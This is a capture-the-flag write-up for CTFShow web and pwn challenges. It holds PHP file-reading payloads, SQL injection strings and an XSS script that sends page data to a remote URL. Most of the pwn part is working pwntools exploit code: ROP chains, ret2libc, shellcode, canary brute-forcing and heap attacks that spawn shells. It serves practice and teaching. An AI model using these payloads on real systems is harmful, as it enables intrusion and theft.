CTFShow

UKFC CTFShow 部分Writeup

web

web57

  • shell 表达式替换数字访问页面
  • Payload
1
?c=$((~$(($((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))))))

web58

  • 直接 hackbarpost 写 shell
1
2
3
4
## 读取目录信息
c=print_r(glob("*"));   
## 读取flag.php
c=show_source("flag.php");

web59~web65

  • 同上,主要就是利用一些函数绕过,搜了一下列出来
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
//通过单一函数读取文件
c=echo file_get_contents("flag.php");
c=readfile("flag.php");
c=var_dump(file('flag.php'));
c=print_r(file('flag.php'));
//通过高亮显示php文件
c=show_source("flag.php");             
c=highlight_file("flag.php");             
// 目录扫描
c=print_r(scandir("/"));
c=print_r(glob("*"));
//copy文件
c=copy("flag.php","flag.txt");   
//重命名文件
c=rename("flag.php","flag.txt"); 
//文件包含读取
c=include("/flag.txt");
c=require_once('/flag.txt');
//给变量赋新值
ini_set("name","value");

web66

  • show_source(“flag.php”);被 ban 了,而且不在 flag.php 里
  • c=print_r(scandir("/"));目录扫描找到 flag.txt
  • c=highlight_file("/flag.txt");

web67

  • print_r 被 ban 了,换成 var_dump
  • c=var_dump(scandir("/"));
  • c=highlight_file("/flag.txt");

web68、69、70

  • c=include("/flag.txt");

web71

  • 手动加一个中断,不执行后面的关闭缓冲区函数
  • c=include(’/flag.txt’);exit(0);

web329

  • 遍历存放 flag 的位置的值,直接匹配
1
<script>$('.laytable-cell-1-0-1').each(function(index,value){if(value.innerHTML.indexOf('ctf'+ 'show{') > -1){window.location.href='http:///x.php?1='+value.innerHTML;}});</script>

web330

  • 有一个改密码的功能,通过抓包找到改密码的 url,然后 js 脚本修改管理员密码

web331

  • 修改密码变成了 post,利用 ajax 异步提交修改

web332

  • 汇款负值

web333

  • ajax 异步用管理员给自己账户转钱

web517

  • 字符型联合查询注入(单引)
1
2
3
4
?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata--+
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='ctfshow'--+
?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='flag'--+
?id=-1' union select 1,group_concat(flag),3 from ctfshow.flag--+

web518

  • 同上,数字型,去单引

pwn

pwn17

  • 条件 2cat flag

pwn18

  • 追加

  • 写入

pwn19

pwn20-22

  • checksec
  • readelf -S

pwn23

  • strcpy 溢出

pwn24

  • shellcode
1
2
3
4
5
from pwn import *
p = remote("pwn.challenge.ctf.show", "28128") 
shell = asm(shellcraft.sh()) 
p.sendline(shell)
p.interactive()

pwn25

  • ret2libc
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *
from LibcSearcher import *

context.log_level = 'debug'

p = remote("pwn.challenge.ctf.show", "28136")
elf = ELF("./pwn")

offset = 0x88 + 0x4
main_addr = elf.symbols['main']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']

payload = offset * 'a' + p32(puts_plt) + p32(main_addr) + p32(puts_got)
p.sendline(payload)
puts_addr = u32(p.recv()[0:4])

libc = LibcSearcher("puts",puts_addr)
libc_base = puts_addr - libc.dump("puts")
system_addr = libc_base + libc.dump("system")
binsh_addr = libc_base + libc.dump("str_bin_sh")
payload = offset * 'a' + p32(system_addr) + 'a' * 4 + p32(binsh_addr)
p.sendline(payload)
p.interactive()

pwn26-29

ASLR(Address Space Layout Randomization)是一种操作系统级别的安全保护机制,旨在增加

软件系统的安全性。它通过随机化程序在内存中的布局,使得攻击者难以准确地确定关键代码和数据的

位置,从而增加了利用软件漏洞进行攻击的难度。

开启不同等级会有不同的效果:

  1. 内存布局随机化: ASLR 的主要目标是随机化程序的内存布局。在传统的内存布局中,不同的

库和模块通常会在固定的内存位置上加载,攻击者可以利用这种可预测性来定位和利用漏洞。

ASLR 通过随机化这些模块的加载地址,使得攻击者无法准确地确定内存中的关键数据结构和

代码的位置。

  1. 地址空间范围的随机化: ASLR 还会随机化进程的地址空间范围。在传统的地址空间中,栈、

堆、代码段和数据段通常会被分配到固定的地址范围中。ASLR 会随机选择地址空间的起始位

置和大小,从而使得这些重要的内存区域在每次运行时都有不同的位置。

  1. 随机偏移量: ASLR 会引入随机偏移量,将程序和模块在内存中的相对位置随机化。这意味着

每个模块的实际地址是相对于一个随机基址偏移的,而不是绝对地址。攻击者需要在运行时发

现这些偏移量,才能准确地定位和利用漏洞。

  1. 堆和栈随机化: ASLR 也会对堆和栈进行随机化。堆随机化会在每次分配内存时选择不同的起

始地址,使得攻击者无法准确地预测堆上对象的位置。栈随机化会随机选择栈帧的起始位置,

使得攻击者无法轻易地覆盖返回地址或控制程序流程。

在 Linux 中,ALSR 的全局配置/proc/sys/kernel/randomize_va_space 有三种情况:

0 表示关闭 ALSR

1 表示部分开启(将 mmap 的基址、stack 和 vdso 页面随机化)

2 表示完全开启

未开启 PIE 情况下,怎样都不会地址随机化

pwn30

  • 数组溢出,没保护
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
from pwn import *
context.log_level = 'debug'
#io = process('./pwn')
#libc = ELF('/lib/i386-linux-gnu/libc.so.6')
io = remote('pwn.challenge.ctf.show', 28210)
elf = ELF('./pwn')
libc = ELF('/home/ctfshow/libc/32bit/libc-2.27.so')
ctfshow = elf.sym['ctfshow']
payload = "A" * 140 +p32(elf.sym['write']) + p32(ctfshow) + p32(1) + p32(elf.got['write']) + p32(4)
io.send(payload)
write_addr = u32(io.recv(4))
system_addr = write_addr - libc.sym['write'] + libc.sym['system']
binsh_addr = write_addr - libc.sym['write'] + next(libc.search('/bin/sh'))
payload2 = "B" * 140 + p32(system_addr) + p32(ctfshow) + p32(binsh_addr)
io.send(payload2)
io.interactive()

pwn31

  • 有随机,但是给了 main 地址
  • 数组溢出
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *
context.log_level = 'debug'
io = remote("pwn.challenge.ctf.show",28104)
elf = ELF('./pwn')
#libc = ELF('/lib/i386-linux-gnu/libc.so.6')
libc = ELF('/home/ctfshow/libc/32bit/libc-2.27.so')
main = int(io.recvline(),16)
print hex(main)
base = main - elf.sym['main']
ctfshow = base + elf.sym['ctfshow']
write_plt = base + elf.sym['write']
write_got = base + elf.got['write']
ebx = base + 0x1fc0
payload = "A" * 132 + p32(ebx) + "AAAA" + p32(write_plt) + p32(ctfshow) + p32(1) + p32(write_got) + p32(4)
io.send(payload)
write = u32(io.recv())
libc_base = write - libc.sym['write']
system_addr = libc_base + libc.sym['system']
binsh_addr = libc_base + next(libc.search('/bin/sh'))
payload = "B" * 140 + p32(system_addr) + p32(ctfshow) + p32(binsh_addr)
io.send(payload)
io.interactive()

pwn32-34

FORTIFY_SOURCE

过关就./pwnme 1 1 1 1 1

主要是观察函数的变化

pwn35

ssh 远程连接上去,并下载源文件,发现有 signal (11,sigsegv_handler); 这个语句,查看一下他写的 sigsegvhandler 发现里面就是把 flag 输出来。

void __noreturn sigsegv_handler()

{

fprintf(stderr, "%s\n", flag);

fflush(stderr);

exit(1);

}

也就是说当程序发生栈溢出导致段错误时会触发扳机导致输出 flag,而 argv 就是执行程序之后的参数。

溢出点在 argv 里,未检查长度上限。同时看到下面 ctfshow 这个函数会把 argv 复制到栈上面,由此我们可以直接在参数中写一个特别长的垃圾数据导致段错误即可。

直接./pwnme aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa 即可。

pwn36

返回地址覆盖为 getflag 即可

pwn37

1
2
3
4
5
6
7
8
9
from pwn import *
context.log_level = 'debug'
io = remote('pwn.challenge.ctf.show','28162')
elf = ELF('pwn')
hm = elf.sym['backdoor']
payload = 'a'*(0x12+4) + p32(hm)
io.sendline(payload)
io.recv()
io.interactive()

pwn38

  • 64 位,考虑堆栈平衡
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
from pwn import *
context.log_level = 'debug'
io = remote('pwn.challenge.ctf.show','28110')
elf = ELF('pwn')
hm = elf.sym['backdoor']
ret = 0x400287
payload = 'a'*(18) + p64(ret) + p64(hm)
io.sendline(payload)
io.recv()
io.interactive()

pwn39

  • 32
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
from pwn import *
## io = process('./pwn')
## nc pwn.challenge.ctf.show 28163
io = remote('pwn.challenge.ctf.show',28163)
elf = ELF('./pwn')
system = elf.sym['system']
print(system)
bin_sh = 0x8048750
payload = 'a'*(14+8) + p32(system) + p32(0) + p32(bin_sh)
io.sendline(payload)
io.recv()
io.interactive()

pwn40

  • 64
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
from pwn import *
## io = process('./pwn')
## nc pwn.challenge.ctf.show 28120
io = remote('pwn.challenge.ctf.show',28120)
elf = ELF('./pwn')
system = elf.sym['system']
bin_sh = 0x400808
pop_rdi = 0x4007e3
ret = 0x4004fe 
payload = 'a'*(0xA+8) + p64(pop_rdi) + p64(bin_sh) + p64(ret) + p64(system)
io.sendline(payload)
io.recv()
io.interactive()

pwn41

  • sh 代替/bin/sh
  • 32
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
from pwn import *
## io = process('./pwn')
io = remote('pwn.challenge.ctf.show',28119)
elf = ELF('./pwn')
system = elf.sym['system']
bin_sh = 0x80487BA
payload = 'a'*(22) + p32(system) + p32(0) + p32(bin_sh)
io.sendline(payload)
io.recv()
io.interactive()

pwn42

  • 64
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
from pwn import *
## io = process('./pwn')
io = remote('pwn.challenge.ctf.show',28168)
elf = ELF('./pwn')
system = elf.sym['system']
pop_rdi = 0x400843
ret = 0x40053e
bin_sh = 0x400872
payload = 'a'* (18) + p64(pop_rdi) + p64(bin_sh) + p64(ret) + p64(system)
io.sendline(payload)
io.recv()
io.interactive()

pwn43

  • get 传入/bin/sh,调用 system
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
from pwn import *
## io = process('./pwn')
io = remote('pwn.challenge.ctf.show',28168)
elf = ELF('./pwn')
system = elf.sym['system']

gets = elf.sym['gets']
buf2 = 0x0804B060
pop_ebx = 0x08048409
payload = 'a' * (104+8) + p32(gets) + p32(pop_ebx) + p32(buf2) + p32(system) + p32(0) + p32(buf2)
io.sendline(payload)
io.sendline('/bin/sh')
io.recv()
io.interactive()

pwn44

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
from pwn import *
## io = process('./pwn')
io = remote('pwn.challenge.ctf.show',28162)
elf = ELF('./pwn')
system = elf.sym['system']

gets = elf.sym['gets']
buf2 = 0x602080
pop_rdi = 0x4007f3
payload = 'a' * (18) + p64(pop_rdi) + p64(buf2) + p64(gets) + p64(pop_rdi) + p64(buf2) + p64(system) + p64(0) + p64(buf2)
io.sendline(payload)
io.sendline('/bin/sh')
io.recv()
io.interactive()

pwn45

ret2libc

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *
from LibcSearcher import *
#io = process('./pwn')
io = remote('pwn.challenge.ctf.show',28128)
elf = ELF('./pwn')
main = elf.sym['main']
write_got = elf.got['write']
write_plt = elf.plt['write']
payload = cyclic(0x6b+4) + p32(write_plt) + p32(main) + p32(0) +
p32(write_got) + p32(4)
io.recvuntil('O.o?')
io.sendline(payload)
write = u32(io.recvuntil('\xf7')[-4:])
print hex(write)
libc = LibcSearcher('write',write)
libc_base = write - libc.dump('write')
system = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')
payload = cyclic(0x6b+4) + p32(system) + p32(main) + p32(bin_sh)
io.sendline(payload)
io.recv()
io.interactive()

pwn46

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
from LibcSearcher import *
io = remote('pwn.challenge.ctf.show',28152)
elf = ELF('./pwn')
write_plt = elf.plt['write']
write_got = elf.got['write']
main = elf.sym['main']
pop_rdi = 0x400803 
pop_rsi_r15 = 0x400801 
payload = 'a' * (112+8) + p64(pop_rdi) + p64(0) + p64(pop_rsi_r15) + p64(write_got) + p64(0) + p64(write_plt) + p64(main)
io.sendlineafter("O.o?",payload)
write = u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
print hex(write)
libc = LibcSearcher('write',write)
libc_base = write - libc.dump('write')
system = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')
payload = cyclic(0x70+8) + p64(pop_rdi) + p64(bin_sh) + p64(system)
io.sendlineafter("O.o?",payload)
io.interactive()

pwn47

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
from pwn import *
from LibcSearcher import *
#io = process('./pwn')
io = remote('pwn.challenge.ctf.show',28200)
elf = ELF('./pwn')
io.recvuntil("read: ")
read = eval(io.recvuntil("\n" , drop = True))
io.recvuntil("gift: ")
bin_sh = eval(io.recvuntil("\n" , drop = True))
libc = LibcSearcher("read" , read)
libc_base = read - libc.dump("read")
system = libc_base + libc.dump("system")
payload = "a"*(152+8) + p32(system) + p32(0) + p32(bin_sh)
io.sendline(payload)
io.interactive()

pwn48

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
from LibcSearcher import *
#io = process('./pwn')
io = remote('pwn.challenge.ctf.show',28128)
elf = ELF('./pwn')
main = elf.sym['main']
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
payload = 'a' *(103+8) + p32(puts_plt) + p32(main) + p32(puts_got)
io.recvuntil('O.o?')
io.sendline(payload)
puts = u32(io.recvuntil('\xf7')[-4:])
print hex(puts)
libc = LibcSearcher('puts',puts)
libc_base = puts - libc.dump('puts')
system = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')
payload = 'a' *(103+8) + p32(system) + p32(main) + p32(bin_sh)
io.sendline(payload)
io.recv()
io.interactive()

pwn49

本题未利用题中提示使用 mprotect+ret2shellcode 方式取得 shell,而是直接用 rop 实现 syscall

利用 ROPgadget 的 ropchain 模块缓冲区不够,必须自己写。

利用一个 gadget 可以实现任意地址写任意内容,gadget 如下:

1
2
mov dword ptr [edx], eax ; 
ret

组合 popedxret 和 popeaxret 以及本 gadget,可以实现此功能。

由此将/bin/sh\x00 写到可写字段上,即可使用 execve(’/bin/sh’,0,0),后面的正常 ret2syscall 流程不再赘述。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
context(log_level='debug',arch='i386',os='linux')

io=remote('pwn.challenge.ctf.show',28171)
#io=process('./static')
#gdb.attach(io)

pop_eax_ret=0x80a8dd6
pop_ecx_ebx_ret=0x806e012
pop_edx_ret=0x806dfeb
int_80h=0x8049663
_data=0x80DA160
mov_dwd=0x8056cc5
ctfshow=0x80488A5

payload=flat(b'a'*0x16,pop_edx_ret,_data,pop_eax_ret,b'/bin',mov_dwd,pop_edx_ret,_data+4,pop_eax_ret,b'/sh\x00',mov_dwd,ctfshow)

io.sendline(payload)

payload=flat(b'a'*0x16,pop_eax_ret,0xb,pop_ecx_ebx_ret,0,_data,pop_edx_ret,0,int_80h)
print(hex(len(payload)))

io.sendline(payload)

io.interactive()

pwn50


 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
'''from pwn import*
context(os='linux', log_level='debug',arch='amd64')
#r=process('./ctfshow50')
r=remote('pwn.challenge.ctf.show',28175)

elf=ELF('./ctfshow50')
#libc=elf.libc
libc=ELF('./libc6_2.27-3ubuntu1.6_amd64.so')
p_got=elf.got['puts']
p_plt=elf.plt['puts']
g_got=elf.got['gets']
g_plt=elf.plt['gets']

rdi=0x4007e3 
main=0x400637
payload=b'a'*0x28+p64(rdi)+p64(p_got)+p64(p_plt)+p64(main)
r.recvuntil(b'Hello CTFshow')
r.sendline(payload)
r.recvuntil(b'\x0a')
leak=u64(r.recv(6).ljust(8,b'\x00'))
base=leak-libc.sym['puts']
print(hex(base))
print(hex(leak))
gdb.attach(r)


sys=base+libc.sym['system']
binsh=base+next(libc.search(b"/bin/sh\00"))
payload2=b'b'*0x28+p64(base+0x4f2a5)

r.recvuntil(b'Hello CTFshow')
pause()
r.send(payload2)

r.interactive()'''

from pwn import*
context(os='linux', log_level='debug',arch='amd64')
#r=process('./ctfshow50')
r=remote('pwn.challenge.ctf.show',28196)

elf=ELF('./ctfshow50')
#libc=elf.libc
libc=ELF('./libc6_2.27-3ubuntu1.6_amd64.so')
p_got=elf.got['puts']
p_plt=elf.plt['puts']
g_got=elf.got['gets']
g_plt=elf.plt['gets']


rdi=0x4007e3 
main=0x400637
payload=b'a'*0x28+p64(rdi)+p64(p_got)+p64(p_plt)+p64(main)
r.recvuntil(b'Hello CTFshow')

r.sendline(payload)
r.recvuntil(b'\x0a')
leak=u64(r.recv(6).ljust(8,b'\x00'))
base=leak-libc.sym['puts']
print(hex(base))
print(hex(leak))


rop1=0x4007DA #csu 
rop2=0x4007C0 #csu 
bss=elf.bss()+0x200
print(hex(elf.bss()))
mprotect_addr=base+libc.sym['mprotect']
read=base+libc.sym['read']
write=base+libc.sym['write']
rdi=0x4007e3
rsi_r15=0x4007e1

payload2=b'a'*0x28+p64(rdi)+p64(bss)+p64(g_plt)+p64(main)

r.recvuntil(b'Hello CTFshow')
pause()
r.sendline(payload2)

shellcode=p64(mprotect_addr)+asm(shellcraft.amd64.sh())

r.sendline(shellcode)


payload3=b'a'*0x28+p64(rop1)+p64(0)+p64(1)+p64(bss)+p64(0x602000)+p64(0x1000)+p64(7)+p64(rop2)+b'a'*56+p64(bss+8)
#mprotect

r.recvuntil(b'Hello CTFshow')

r.sendline(payload3)

r.interactive()

pwn51

看到题面中包括 Ironman 字样,猜测后执行程序输入”Ironman“,发现回显为 Ironmanronman。

猜测是将 I 转换成 Ironman,前后保留,事实如此。

题目中不利用此机制,则缓冲区是不够的,但利用的话,可以将一个字节当成七个字节保证溢出空间够。

发现题目中后门,直接用二分法找 I 的输入个数,发现 15 个 I 不会导致 RE,16 个 I 会 RE,测出偏移直接返回到后门函数即可。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
from pwn import *
context(log_level='debug',arch='i386',os='linux')

io=remote('pwn.challenge.ctf.show',28225)
#io=process('./ironman')
#gdb.attach(io)

payload=b'I'*15+b'a'*7+p32(0x804902E)
io.sendline(payload)

io.interactive()

pwn52

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
from pwn import *
context(log_level='debug', arch='i386')

#r=remote('pwn.challenge.ctf.show',28206)
r=process('./52')
gdb.attach(r)
payload=b'a'*0x6c+b'aaaa'+p32(0x08048586)+p32(0x36C)+p32(0x36D)
pause()
r.sendline(payload)
r.interactive()

pwn53

32 位 canary 逐字节爆破

注意 r.recvuntil(b’$ ‘)

否则无法正确接收到回显

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *
context(log_level='debug', arch='i386')

canary = b''
if __name__ == '__main__':
    
    for i in range(4):
        for j in range(0, 256):
            r = remote('pwn.challenge.ctf.show', 28248)
            r.sendlineafter(b'buffer?\n>', b'100')
            r.recvuntil(b'$ ')
            payload = b'a' * 0x20 + canary + p8(j)        
            r.send(payload)
            res = r.recv()
            if b"Error" not in res:
                canary += p8(j)
                print('excellent')
                r.close()
                break 
            r.close()  

    print("Found Canary:", hex(u32(canary)))
    r = remote('pwn.challenge.ctf.show', 28248)
    r.sendlineafter(b'buffer?\n>', b'100')
    r.recvuntil(b'$')
    payload2 = b'a' * 0x20 + canary + b'b' * 0x10 + p32(0x08048696)  
    r.sendline(payload2)
    r.interactive()

pwn54

puts 函数带出来密码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
from pwn import*
context(os='linux', log_level='debug',arch='i386')
#r=process('./ctfshow50')
r=remote('pwn.challenge.ctf.show',28222)

r.sendlineafter(b'Username:',b'a'*4)

r.sendlineafter(b'Password.',b'CTFshow_PWN_r00t_p@ssw0rd_1s_h3r3')

r.interactive()

pwn55

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
from pwn import*
context(os='linux', log_level='debug',arch='i386')
#r=process('./ctfshow55')
r=remote('pwn.challenge.ctf.show',28220)

payload=b'a'*0x2c+b'aaaa'+p32(0x08048586)+p32(0x0804859D)+p32(0x08048606)+p32(0xacacacac)+p32(0xBDBDBDBD)

r.sendline(payload)

r.interactive()

pwn61,62,63

21 字节 shellcode 全部解决

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
from pwn import*
r=remote('pwn.challenge.ctf.show',28112)
#r = process('./pwn61')
context(os='linux', log_level='debug',arch='amd64')


shellcode=b'\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05'
r.recvuntil(b'[0x')

v4=int(r.recv(12),16)
print(hex(v4))

payload=b'a'*0x18+p64(v4+0x20)+shellcode
print(len(payload))
pause()
r.sendline(payload)
r.interactive()

堆入门

pwn141

UAF

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#patchelf --set-interpreter  /home/sekiro18/Desktop/glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/ld-2.23.so  ./pwn141
#patchelf --set-rpath  /home/sekiro18/Desktop/glibc-all-in-one/libs/2.23-0ubuntu11.3_i386  ./pwn141
from pwn import *
#p = process("./pwn141")
p=remote("pwn.challenge.ctf.show",28257)
context.log_level = 'debug'
context.arch='i386'
elf=ELF("./pwn141")
libc=elf.libc
def debug():
    gdb.attach(p)
    pause();

def cmd(x):
    p.sendline(str(x))

def add(size,content):
    cmd(1)
    p.sendlineafter("Note size :",str(size))
    p.sendafter('Content :',content)

#def show

def delete(index):
    cmd(2)
    p.sendlineafter("Index :",str(index))

add(0x28,b'aaaa')
add(0x28,b'bbbb')

delete(0)
delete(1)

add(0xc,p32(0x08049684))
cmd(3)

p.sendlineafter("Index :",str(0))

p.interactive()

pwn142

算是只过了本地

远程是 Glibc 高版本?没过

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
#patchelf --set-interpreter  /home/sekiro18/Desktop/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so  ./heapcreator
#patchelf --set-rpath  /home/sekiro18/Desktop/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64  ./heapcreator
from pwn import *
#p=remote("pwn.challenge.ctf.show",28143)
p = process("./pwn142")
context.log_level = 'debug'
context.arch='amd64'
elf=ELF('./pwn142')
#libc=elf.libc
def debug():
    gdb.attach(p)
    pause()
def cmd(idx):
    p.sendlineafter("Your choice :",str(idx))
    
def create(size,content):     
    cmd(1)
    p.sendlineafter("Size of Heap : ",str(size))
    p.sendafter("Content of heap:",content)

def edit(idx,content):
    cmd(2)
    p.sendlineafter("Index :",str(idx))
    p.sendafter("Content of heap : ",content)

def delete(idx):
    cmd(4)
    p.sendlineafter("Index :",str(idx))

def show(idx):
    cmd(3)
    p.sendlineafter("Index :",str(idx))

create(0x18,b'aaaa')
create(0x10,b'1111')
create(0x80,b'bbbb')
create(0x10,b'cccc')

delete(2)

create(0x80,b'a'*8)
show(2)
p.recvuntil(b'a'*8)
leak=u64(p.recv(6).ljust(8,b'\x00'))-88-0x10
base=leak-libc.symbols['__malloc_hook']
print(hex(base))
debug()
edit(0,b"a"*0x18+p8(0x61))

delete(1)
create(0x50,p64(0x80)*9+p64(leak))

edit(2,p64(base+0x4526a))#

cmd(1)

p.interactive()
'''
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
'''

pwn143

HOF

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#patchelf --set-interpreter  /home/sekiro18/Desktop/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so  ./pwn143
#patchelf --set-rpath  /home/sekiro18/Desktop/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64  ./pwn143
from pwn import *
p=remote("pwn.challenge.ctf.show",28257)
#p = process("./pwn143")
context.log_level = 'debug'
context.arch='amd64'

def debug():
    gdb.attach(p)
    pause()
def cmd(idx):
    p.sendlineafter("Your choice:",str(idx))
def add(size,content):
    cmd(2)
    p.sendlineafter("Please enter the length:",str(size))
    p.sendlineafter("Please enter the name:",content)

def edit(idx,content):
    cmd(3)
    p.sendlineafter("index:",str(idx))      
    p.sendlineafter("Please enter the length of name:",str(len(content)))
    p.sendafter("new name:",content)

def free(idx):
    cmd(4)
    p.sendlineafter("ndex:",str(idx))

def show():
    cmd(1)

#0x7fd2fc61ab10 
add(0x28,b'a') 

edit(0,b'\xff'*0x30)   

add(-0x60,b'aaaa')
add(0x10,p64(0)+p64(0x0000000000400D7F))

p.interactive()

pwn144

堆溢出

fastbin attack

unsortedbin attach

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
'''
patchelf --set-interpreter  /home/sekiro18/Desktop/glibc-all-in-one/libs/2.27-0ubuntu11.3_amd64/ld-2.23.so  ./heap
patchelf --set-rpath  /home/sekiro18/Desktop/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64  ./heap
'''
"""from pwn import *
p=remote("pwn.challenge.ctf.show",28184)
context.log_level = 'debug'
context.arch='amd64'
def debug():
    gdb.attach(p)
    pause();

def cmd(x):
    p.sendline(str(x))

def add(size,content):
    cmd(1)
    p.sendlineafter("Size of Heap : ",str(size))
    p.sendafter('Content of heap:',content)

def edit(ind,payload):
    cmd(2)
    p.sendlineafter('Index :',str(ind))
    p.sendlineafter('Size of Heap : ',str(len(payload)))    
    p.sendafter('Content of heap : ',payload)

def delete(index):
    cmd(3)
    p.sendlineafter("Index :",str(index))

#0x400C50   
add(0x20,b'dddd') 
add(0x60,b'aaaa')
add(0x60,b'bbbb')
add(0x60,b'cccc')
delete(1)
delete(2)

edit(0,p64(0)*5+p64(0x71)+p64(0x6020A0-0x13))

add(0x60,b'a')
add(0x60,b'')
debug()
add(0x60,b'a'+b'\xff'*5)

cmd(114514)
p.interactive()"""

from pwn import *
p=remote("pwn.challenge.ctf.show",28184)
#p = process("./heap")
context.log_level = 'debug'
context.arch='amd64'
def debug():
    gdb.attach(p)
    pause();

def cmd(x):
    p.sendline(str(x))

def add(size,content):
    cmd(1)
    p.sendlineafter("Size of Heap : ",str(size))
    p.sendafter('Content of heap:',content)

def edit(ind,payload):
    cmd(2)
    p.sendlineafter('Index :',str(ind))
    p.sendlineafter('Size of Heap : ',str(len(payload)))    
    p.sendafter('Content of heap : ',payload)

def delete(index):
    cmd(3)
    p.sendlineafter("Index :",str(index))

add(0x20,b'dddd') 
add(0x80,b'aaaa')
add(0x20,b'dddd') 
add(0x80,b'xxxx')
add(0x10,b'bbbb')

delete(1)
delete(3)

edit(0,0x20*b'a'+p64(0)+p64(0x91)+p64(0)+p64(0x6020A0-0x10))
add(0x80,b'ffffff')

cmd(114514)
p.interactive()
Licensed under CC BY-NC-SA 4.0
使用 Hugo 构建
主题 StackJimmy 设计